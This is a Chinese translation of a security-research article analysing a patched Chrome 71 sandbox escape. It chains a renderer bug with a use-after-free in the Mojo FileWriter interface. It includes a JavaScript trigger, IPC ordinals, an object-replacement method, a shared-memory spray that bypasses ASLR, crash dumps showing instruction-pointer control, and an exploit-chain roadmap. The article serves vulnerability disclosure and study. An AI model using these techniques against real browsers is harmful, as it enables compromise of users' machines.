利用ASLR薄弱点:Chrome沙箱逃逸漏洞分析 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

利用ASLR薄弱点:Chrome沙箱逃逸漏洞分析

41yf1sh 业务安全 2019-04-17 11:03:46
234722
收藏

导语:我们在Chrome中,发现了一系列可能存在的沙箱逃逸漏洞。本文所涉及的分析过程中,我们使用的是官方修复此漏洞前的最新稳定版本,64位Windows版本Chrome 71.0.3578.98。

概述

我们在Chrome中,发现了一系列可能存在的沙箱逃逸漏洞。在此之后,我们认为可以将这些漏洞中的一个与渲染器存在的漏洞共同利用,形成一条完整的漏洞利用链,同时也能够让我们更好地理解现代Chrome漏洞利用所需的机制。考虑到全部可用的漏洞,最有可能被利用的是Issue 1755,这一Use-After-Free漏洞与经典的JavaScript引擎回调漏洞相似。目前看来,这是一个很好的候选者,因为攻击者对free’d对象的生命周期,以及随后使用对象的时间都具有高级别的控制。

针对关于Mojo IPC机制如何运作的细节,我们没有详细进行分析,在这里先提前向各位读者表示抱歉。在未来,我们会发表一些博客文章,更加详细地解释当前Chrome沙箱界面的接口,但实际上,其中有很多需要解释的内容。

在本文所涉及的分析过程中,我们使用的是官方修复此漏洞前的最新稳定版本,64位Windows版本Chrome 71.0.3578.98。

准备工作

我们在研究Chrome的Mojo IPC层时,注意到的最值得关注的事实之一,是它实际上可以从Chrome中的JavaScript进行IPC调用。将命令行标志“--enable-blink-features=MojoJS”传递给Chrome即可启用此功能。我们使用此功能,实现了一个Mojo Fuzzer,并借助该工具发现了一些漏洞并上报。

在了解这一特性之后,实现完整Chrome漏洞利用链的最简单方法,就是使用渲染器漏洞利用,在正在运行的渲染器中启用这些绑定,随后从JavaScript执行我们的权限提升。

渲染器漏洞利用

恰巧,_tsuro一直在致力于CVE-2019-5782的漏洞利用,这是由SOrryMybad发现的漏洞,并在天福杯上首次利用,其原因在于v8 typer中存在漏洞。我相信该漏洞的发现者将针对其详细信息发表文章,因此我把对细节的介绍过程留给他们。

该漏洞错误地估计了“arguments.length”的可能范围。然后,可以将该漏洞与JIT中的Bounds-Check-Elimination(BCE)传递一同利用。该漏洞的利用方法与其他typer漏洞非常相似,我们可以在“many_args.js”中找到漏洞。需要注意的是,在_tsuro发现该漏洞并提交后,v8研发团队已经删除了BCE优化,使得在typer中更难利用这些漏洞。

在这里,重要的是,我们需要有一个稳定的漏洞利用方式。为了启动沙箱转义,我们需要启用Mojo绑定。最简单的方法是重新加载主框架,这意味着,我们在损坏的状态下留下的任何对象,都将公平地参与到“垃圾收集”(Garbage Collection)机制的游戏当中。

分析浏览器进程

通过浏览Chrome源代码,我们可以看到Mojo绑定基于成员变量nabled_bindings_添加到RenderFrameImpl::DidCreateScriptContext中的JavaScript上下文中。因此,为了模仿命令行标志,我们可以使用读写操作,将该值设置为BINDINGS_POLICY_MOJO_WEB_UI,并强制为主框架创建新的ScriptContext,我们应该可以访问绑定。

要获取当前帧的RenderFrameImpl,这一过程有些痛苦。但是,通过跟随全局上下文对象的指针链,我们可以找到chrome_child.dll,并找到全局g_frame_map,它是一个从blink::Frame指针到RenderFrameImpl指针的映射。为了利用这一漏洞,我们假设此映射中只有一个条目。但如果要对其进行扩展,以找到最合适的一个,这一过程非常简单。在这里,我们可以轻松设置正确的标志,并重新加载页面,具体可以参见实现的“enable_mo.js”。

需要注意的是,Chrome会在构建时随机化IPC序列,因此除了启用绑定之外,我们还需要为每个要调用的IPC方法找到正确的序号。在我们所使用的反汇编程序中,可以几分钟之内解决问题。鉴于渲染器需要能够调用这些IPC方法,如果我们试图支持更多的Chrome构建,我们可以设计一个略微繁琐的混淆过程。但对于我们本文所使用的版本环境,下面的代码足以用来修改我们需要的JavaScript绑定。

var kBlob_GetInternalUUID_Name = 0x2538AE26;
 
var kBlobRegistry_Register_Name = 0x2158E98A;
var kBlobRegistry_RegisterFromStream_Name = 0x719E4F82;
 
var kFileSystemManager_Open_Name = 0x305E02BE;
var kFileSystemManager_CreateWriter_Name = 0x63B8D2A6;
 
var kFileWriter_Write_Name = 0x64D4FC1C;

漏洞分析

所以,我们可以从JavaScript访问IPC接口。那么,接下来该怎么办呢?

我们正在分析的漏洞,是FileSystem API的FileWriter接口的实现中存在的问题。下面是FileWriter接口的描述,这是特权浏览器进程向非特权渲染器进程提供的IPC端点,允许渲染器对特殊的沙箱文件系统通过代理执行文件写入操作:

// Interface provided to the renderer to let a renderer write data to a file.
interface FileWriter {
 // Write data from |blob| to the given |position| in the file being written
 // to. Returns whether the operation succeeded and if so how many bytes were
 // written.
 // TODO(mek): This might need some way of reporting progress events back to
 // the renderer.
 Write(uint64 position, Blob blob) => (mojo_base.mojom.FileError result,
                                       uint64 bytes_written);
 
 // Write data from |stream| to the given |position| in the file being written
 // to. Returns whether the operation succeeded and if so how many bytes were
 // written.
 // TODO(mek): This might need some way of reporting progress events back to
 // the renderer.
 WriteStream(uint64 position, handle<data_pipe_consumer> stream) =>
       (mojo_base.mojom.FileError result, uint64 bytes_written);
 
 // Changes the length of the file to be |length|. If |length| is larger than
 // the current size of the file, the file will be extended, and the extended
 // part is filled with null bytes.
 Truncate(uint64 length) => (mojo_base.mojom.FileError result);
};

该漏洞存在于第一种方法Write的实现中。但是,在我们正确理解该漏洞之前,我们首先还需要了解FileWriter对象的生命周期。渲染器可以使用FileSystemManager接口中的一个方法来请求FileWriter实例:

// Interface provided by the browser to the renderer to carry out filesystem
// operations. All [Sync] methods should only be called synchronously on worker
// threads (and asynchronously otherwise).
interface FileSystemManager {
 // ...
 
 // Creates a writer for the given file at |file_path|.
 CreateWriter(url.mojom.Url file_path) =>
     (mojo_base.mojom.FileError result,
      blink.mojom.FileWriter? writer);
 
 // ...
};

该功能的实现可以在这里找到:

void FileSystemManagerImpl::CreateWriter(const GURL& file_path,
                                        CreateWriterCallback callback) {
 DCHECK_CURRENTLY_ON(BrowserThread::IO);
 
 FileSystemURL url(context_->CrackURL(file_path));
 base::Optional<base::File::Error> opt_error = ValidateFileSystemURL(url);
 if (opt_error) {
   std::move(callback).Run(opt_error.value(), nullptr);
   return;
 }
 if (!security_policy_->CanWriteFileSystemFile(process_id_, url)) {
   std::move(callback).Run(base::File::FILE_ERROR_SECURITY, nullptr);
   return;
 }
 
 blink::mojom::FileWriterPtr writer;
 mojo::MakeStrongBinding(std::make_unique<storage::FileWriterImpl>(
                             url, context_->CreateFileSystemOperationRunner(),
                             blob_storage_context_->context()->AsWeakPtr()),
                         MakeRequest(&writer));
 std::move(callback).Run(base::File::FILE_OK, std::move(writer));
}

这里的含义是,如果一切正常,就将返回绑定到mojo::StrongBinding的std::unique_ptr<storage::FileWriterImpl>。强绑定(Strong Binding)意味着对象的生命周期将绑定到Mojo接口指针的生命周期,这也就意味着连接的另一端可以控制对象的生命周期,以及storage::FileWriterImpl字段中的代码,这部分内容负责对与该绑定相关联的序列进行控制,可以关闭连接,也可以释放实例。

这为我们提供了blink::mojom::FileWriter Mojo接口的句柄。我们感兴趣的函数是Write方法,它有一个blink::mojom::Blob的句柄作为其一个参数。我们很快就能再次分析这一Blob接口。

考虑到上述情况,是时候看看易受攻击的函数了。

void FileWriterImpl::Write(uint64_t position,
                          blink::mojom::BlobPtr blob,
                          WriteCallback callback) {
 blob_context_->GetBlobDataFromBlobPtr(
     std::move(blob),
     base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),
                    std::move(callback), position));
}

现在,在这里的问题并不是很明显。但在Chrome代码库中,base::Unretained的实例明显不是正确的,这些实例通常需要我们进一步调查(将会创建一个未经检查的未知引用,详情请参阅Chrome文档(https://www.chromium.org/developers/coding-style/important-abstractions-and-data-structures))。所以,要保证这一代码的安全性,只能保证GetBlobDataFromBlobPtr始终同步调用回调。或者,销毁这一代码,可以确保永远不会调用回调。由于blob_context_与其权限不同,所以我们还需要查看GetBlobDataFromBlobPtr的实现,以及它使用回调的方式:

void BlobStorageContext::GetBlobDataFromBlobPtr(
   blink::mojom::BlobPtr blob,
   base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback) {
 DCHECK(blob);
 blink::mojom::Blob* raw_blob = blob.get();
 raw_blob->GetInternalUUID(mojo::WrapCallbackWithDefaultInvokeIfNotRun(
     base::BindOnce(
         [](blink::mojom::BlobPtr, base::WeakPtr<BlobStorageContext> context,
            base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback,
            const std::string& uuid) {
           if (!context || uuid.empty()) {
             std::move(callback).Run(nullptr);
             return;
           }
           std::move(callback).Run(context->GetBlobDataFromUUID(uuid));
         },
         std::move(blob), AsWeakPtr(), std::move(callback)),
     ""));
}

上面的代码在传递给它的Blob参数上,调用异步Mojo IPC方法GetInternalUUID,然后在回调中,当该方法返回时,使用返回的UUID来查找关联的Blob数据(GetBlobDataFromUUID),并调用回调参数,以此数据作为其中的参数。

我们可以看到,回调被传递给Blob接口公开的异步Mojo函数所返回的回调:

// This interface provides access to a blob in the blob system.
interface Blob {
 // Creates a copy of this Blob reference.
 Clone(Blob& blob);
 
 // Creates a reference to this Blob as a DataPipeGetter.
 AsDataPipeGetter(network.mojom.DataPipeGetter& data_pipe_getter);
 
 // Causes the entire contents of this blob to be written into the given data
 // pipe. An optional BlobReaderClient will be informed of the result of the
 // read operation.
 ReadAll(handle<data_pipe_producer> pipe, BlobReaderClient? client);
 
 // Causes a subrange of the contents of this blob to be written into the
 // given data pipe. If |length| is -1 (uint64_t max), the range's end is
 // unbounded so the entire contents are read starting at |offset|. An
 // optional BlobReaderClient will be informed of the result of the read
 // operation.
 ReadRange(uint64 offset, uint64 length, handle<data_pipe_producer> pipe,
           BlobReaderClient? client);
 
 // Reads the side-data (if any) associated with this blob. This is the same
 // data that would be passed to OnReceivedCachedMetadata if you were reading
 // this blob through a blob URL.
 ReadSideData() => (array<uint8>? data);
 
 // This method is an implementation detail of the blob system. You should not
 // ever need to call it directly.
 // This returns the internal UUID of the blob, used by the blob system to
 // identify the blob.
 GetInternalUUID() => (string uuid);
};

这意味着,我们可以在渲染器进程中提供此Blob接口的实现,将该实现传递给FileWriter接口的Write方法,我们将在执行GetBlobDataFromBlobPtr期间从浏览器进程到渲染器进程进行回调,在此期间我们可以销毁FileWriter对象。无论这种回调如何,使用base::Unretained都是危险的,但是以这种方式进行安排,将会使之变得更加清晰。

步骤1:触发器

首先,我们需要实际到达漏洞。这里是我们使用的一个最小化触发器,利用我们此前启用的MojoJS绑定的JS。一个完整的示例将附加到Bugtracker条目,文件名为“trigger.js”。

async function trigger() {
 // we need to know the UUID for a valid Blob
 let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
 Mojo.bindInterface(blink.mojom.BlobRegistry.name,
                    mojo.makeRequest(blob_registry_ptr).handle, "process");
 
 let bytes_provider = new BytesProviderImpl();
 let bytes_provider_ptr = new blink.mojom.BytesProviderPtr();
 bytes_provider.binding.bind(mojo.makeRequest(bytes_provider_ptr));
 
 let blob_ptr = new blink.mojom.BlobPtr();
 let blob_req = mojo.makeRequest(blob_ptr);
 
 let data_element = new blink.mojom.DataElement();
 data_element.bytes = new blink.mojom.DataElementBytes();
 data_element.bytes.length = 1;
 data_element.bytes.embeddedData = [0];
 data_element.bytes.data = bytes_provider_ptr;
 
 await blob_registry_ptr.register(blob_req, 'aaaa', "text/html", "", [data_element]);
 
 // now we have a valid UUID, we can trigger the bug
 let file_system_manager_ptr = new blink.mojom.FileSystemManagerPtr();
 Mojo.bindInterface(blink.mojom.FileSystemManager.name,
                    mojo.makeRequest(file_system_manager_ptr).handle, "process");
 
 let host_url = new url.mojom.Url();
 host_url.url = window.location.href;
 
 let open_result = await file_system_manager_ptr.open(host_url, 0);
 
 let file_url = new url.mojom.Url();
 file_url.url = open_result.rootUrl.url + '/aaaa';
 
 let file_writer = (await file_system_manager_ptr.createWriter(file_url)).writer;
 
 function BlobImpl() {
   this.binding = new mojo.Binding(blink.mojom.Blob, this);
 }
 
 BlobImpl.prototype = {
   getInternalUUID: async (arg0) => {
     // here we free the FileWriterImpl in the callback
     create_writer_result.writer.ptr.reset();
 
     return {'uuid': 'aaaa'};
   }
 };
 
 let blob_impl = new BlobImpl();
 let blob_impl_ptr = new blink.mojom.BlobPtr();
 blob_impl.binding.bind(mojo.makeRequest(blob_impl_ptr));
 
 file_writer.write(0, blob_impl_ptr);
}

步骤2:替换

尽管最终可能没有多大用处,但是我通常喜欢用完全受攻击者控制的数据替换对象,来开始Use-After-Free的漏洞利用过程。尽管没有ASLR绕过或信息泄漏,因此我们不太可能对这个原语做任何有意义的事情,但是这一过程通常有助于我们理解所涉及对象周围的分配模式,并且这里给出了明确的崩溃信息,这对于证明漏洞的可利用性是非常有帮助的。

在我们所使用的Windows环境中,FileWriterImpl的大小为0x140字节。我最初直接考虑使用JavaScript Blob API创建分配,但这会导致大量相同大小的临时分配,会显著降低可靠性。在浏览器进程中,使用受控制数据分配受控制大小的更好方法,是使用BlobRegistry registerFromStream方法注册新的Blob,在初始调用registerFromStream期间将执行所有辅助分配。然后,我们可以通过将数据写入DataPipeProducerHandle的方式,来触发所需大小和内容的单个分配。

我们可以测试这一情况(参见trigger_replace.js),实际上,它确实利用一个包含完全受控制字节的缓冲区,可靠地替换了free'd对象,并以我们期望的方式实现了崩溃:

(1594.226c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chrome!storage::FileSystemOperationRunner::GetMetadata+0x33:
00007ffc`362a1a99 488b4908        mov     rcx,qword ptr [rcx+8] ds:23232323`2323232b=????????????????
0:002> r
rax=0000ce61f98b376e rbx=0000021b30eb4bd0 rcx=2323232323232323
rdx=0000021b30eb4bd0 rsi=0000005ae4ffe3e0 rdi=2323232323232323
rip=00007ffc362a1a99 rsp=0000005ae4ffe2f0 rbp=0000005ae4ffe468
r8=0000005ae4ffe35c  r9=0000005ae4ffe3e0 r10=0000021b30badbf0
r11=0000000000000000 r12=0000000000000000 r13=0000005ae4ffe470
r14=0000000000000001 r15=0000005ae4ffe3e8
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
chrome!storage::FileSystemOperationRunner::GetMetadata+0x33:
00007ffc`362a1a99 488b4908        mov     rcx,qword ptr [rcx+8] ds:23232323`2323232b=????????????????
0:002> k
# Child-SP          RetAddr           Call Site
00 0000005a`e4ffe2f0 00007ffc`362a74ed chrome!storage::FileSystemOperationRunner::GetMetadata+0x33 01 0000005a`e4ffe3a0 00007ffc`362a7aef chrome!storage::FileWriterImpl::DoWrite+0xed
…

步骤3:信息泄漏

当我们需要能在其中放置有效指针时,控制free’d对象中的数据似乎并没有太多用处。因此,此时我们需要考虑如何使用free’d对象,并且应该考虑有哪些选项可以用于使用不同类型的对象来替换free’d对象。实质上,可以将Use-After-Free转换为类型混淆,这将对我们有所帮助。

在WinDBG中查看相同大小的对象,我们没有得到任何直接的答案。并且,因为从DoWrite调用的大多数方法都是非虚拟的,所以我们实际上需要相当大量的结构,才能替换掉正确的对象。

void FileWriterImpl::DoWrite(WriteCallback callback,
                            uint64_t position,
                            std::unique_ptr<BlobDataHandle> blob) {
 if (!blob) {
   std::move(callback).Run(base::File::FILE_ERROR_FAILED, 0);
   return;
 }
 // FileSystemOperationRunner assumes that positions passed to Write are always
 // valid, and will NOTREACHED() if that is not the case, so first check the
 // size of the file to make sure the position passed in from the renderer is
 // in fact valid.
 // Of course the file could still change between checking its size and the
 // write operation being started, but this is at least a lot better than the
 // old implementation where the renderer only checks against how big it thinks
 // the file currently is.
 operation_runner_->GetMetadata(
     url_, FileSystemOperation::GET_METADATA_FIELD_SIZE,
     base::BindRepeating(&FileWriterImpl::DoWriteWithFileInfo,
                         base::Unretained(this),
                         base::AdaptCallbackForRepeating(std::move(callback)),
                         position, base::Passed(std::move(blob))));
}

所以,我们将使用从free’d对象内部获取的this指针,对FileSystemOperationRunner::GetMetadata进行非虚拟调用:

OperationID FileSystemOperationRunner::GetMetadata(
   const FileSystemURL& url,
   int fields,
   GetMetadataCallback callback) {
 base::File::Error error = base::File::FILE_OK;
 std::unique_ptr<FileSystemOperation> operation = base::WrapUnique(
     file_system_context_->CreateFileSystemOperation(url, &error));
 ...
}

步骤4:信息泄漏(第2轮)

我们已经厌倦了长时间盯着调试器中的结构布局,因此现在是时候考虑一下替代方案了。Windows上的ASLR实现,意味着如果在多个进程中加载相同的库,它们将位于相同的基址。因此,渲染器中加载的任何库,都将加载到浏览器进程中的已知地址。

我们可以用FileSystemOperationRunner替换一些对象,将FileSystemContext指针排列为受控制的字符串数据。我们可以利用它来伪造backend_map_的第一个(开始)节点,并指向我们可以找到的其中一个模块的数据部分,并且正确排列,以便我们可以查找第一个条目。这只需要一组更小的约束:

ptr = getPtr(address)
 
getUint8(ptr + 0x19) == 0
getUint32(ptr + 0x20) == 0
obj = getPtr(ptr + 0x28)
 
vtable = getPtr(obj)
 
function = getPtr(vtable + 0x38)

遗憾的是,满足这些约束的地址集并没有真正产生任何有用的原语。

步骤5:ASLR绕过

此时,我们几乎要准备放弃了。但是,这时我们想起了与Issue 1642相关的一个奇怪现象,这是Mojo核心代码中的一个漏洞。特别是,当Mojo连接的接收端收到DataPipe*Dispatcher对象时,它将立即映射关联的共享内存段(映射发生在对InitializeNoLock的调用中)。

由于浏览器进程中没有内存或虚拟地址空间的限制,这表明事实上,如果我们可以使用共享内存映射简单地喷射浏览器的虚拟地址空间,我们可以完全绕过ASLR,而不会出现信息泄漏问题。需要注意的是,渲染器限制仍然存在,因此我们需要找到一种方法来执行此操作,并且不会超出渲染器的限制。在渲染器中运行本机代码相当简单,我们可以简单地将句柄复制到同一个共享内存页面,并重复发送它们,但是留在JavaScript中应该是一个不错的选项。

查看MojoJS绑定中MojoHandle接口的IDL,我们可以注意到,尽管我们无法克隆DataPipe句柄,但我们可以克隆SharedBuffer句柄。

interface MojoHandle {
  ...
 
  // TODO(alokp): Create MojoDataPipeProducerHandle and MojoDataPipeConsumerHandle,
  // subclasses of MojoHandle and move the following member functions.
  MojoWriteDataResult writeData(BufferSource buffer, optional MojoWriteDataOptions options);
 MojoReadDataResult queryData();
  MojoReadDataResult discardData(unsigned long numBytes, optional MojoDiscardDataOptions options);
  MojoReadDataResult readData(BufferSource buffer, optional MojoReadDataOptions options);
 
  // TODO(alokp): Create MojoSharedBufferHandle, a subclass of MojoHandle
  // and move the following member functions.
  MojoMapBufferResult mapBuffer(unsigned long offset, unsigned long numBytes);
  MojoCreateSharedBufferResult duplicateBufferHandle(optional MojoDuplicateBufferHandleOptions options);
};

遗憾的是,SharedBuffers在浏览器进程接口中的使用频率较低,并且在反序列化时不会自动映射,因此它对我们来说没有太大的帮助。但是,由于SharedBuffers和DataPipes都支持相同的操作系统级原语,我们仍然可以利用它来发挥一定作用。通过创建具有较小共享内存、相同数量的DataPipe,以及单个较大的SharedBuffer的克隆,我们可以使用任意读写,来交换备份缓冲区。

1.png

正如在上面的VMMap截图中所看到的那样,这是一种有效且快捷的方法。第一次测试中,我们进行了16TB的喷射,这有些夸张,但在现实中,大约只需3.5TB就足以得到可靠、可预测的地址。最后,我们有机会在现代64位Chrome的漏洞利用中,引用SkyLined发现的MS04-040漏洞利用。

rax=00000404040401e8 rbx=000001fdba193480 rcx=00000404040401e8
rdx=000001fdba193480 rsi=00000002f39fe97c rdi=00000404040400b0
rip=00007ffd87270258 rsp=00000002f39fe8c0 rbp=00000002f39fea88
r8=00000404040400b0  r9=00000002f39fe8e4 r10=00000404040401f0
r11=0000000000000000 r12=0000000000000000 r13=00000002f39fea90
r14=0000000000000001 r15=00000002f39fea08
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
chrome!storage::FileSystemContext::CreateFileSystemOperation+0x4c:
00007ffd`87270258 41ff5238        call    qword ptr [r10+38h] ds:00000404`04040228=4141414141414141

路线图

在最后,我们盘点一些我们需要的所有“重型机械”,其余的都只是具体实践的工程问题。以细节为导向,我们可以在Bugtracker中找到一个完整的、有效的漏洞利用程序,从而就应该能够识别处理漏洞的所有后续阶段的代码:

1. 渲染器中任意读写问题

(1) 启用MojoJS绑定

(2) 运行沙箱逃逸

2. 沙箱逃逸

(1) 渲染器中任意读写问题(再次利用)

(2) 在渲染器地址空间中,找到Pivots和渲染器地址空间中的ROP链

(3) 构建将要在浏览器地址空间中喷射的数据页面,其中包含伪FileSystemOperationRunner、FileSystemContext、FileSystemBackend对象

(4) 触发漏洞

(5) 将free'd FileWriterImpl替换为伪造的对象,该对象将使用我们的喷射内容作为FileSystemOperationRunner指针定位的地址

(6) 将我们在2(3)中构建的页面的约4TB副本喷射进入浏览器进程地址空间

(7) 在浏览器进程中从渲染器返回到FileWriterImpl::DoWrite,转到我们的ROP链和Payload

(8) 弹出计算器

(9) 清理,以便浏览器可以继续运行

总结

目前,我们已经能够在ASLR实现中利用其薄弱点来实现漏洞利用,而不再需要信息泄漏。

有两个关键的ASLR薄弱点,可以可靠地利用这个漏洞:

1. Windows上没有进行进程间随机化(Inter-Process Randomisation),这样导致可以在目标进程中定位有效的代码地址,而不会发送信息泄漏。同样,macOS和iOS上也存在这一问题。

2. Chrome浏览器进程中的地址空间使用没有进行限制,导致可以预测堆喷射中的有效数据地址。

如果没有这两个原语,那么对这一漏洞的利用将会变得更加困难,并且可能是漏洞利用不再可用(例如:需要继续寻找其他漏洞进行利用,或者Use-After-Free之后不能实现信息泄漏)。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2024 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务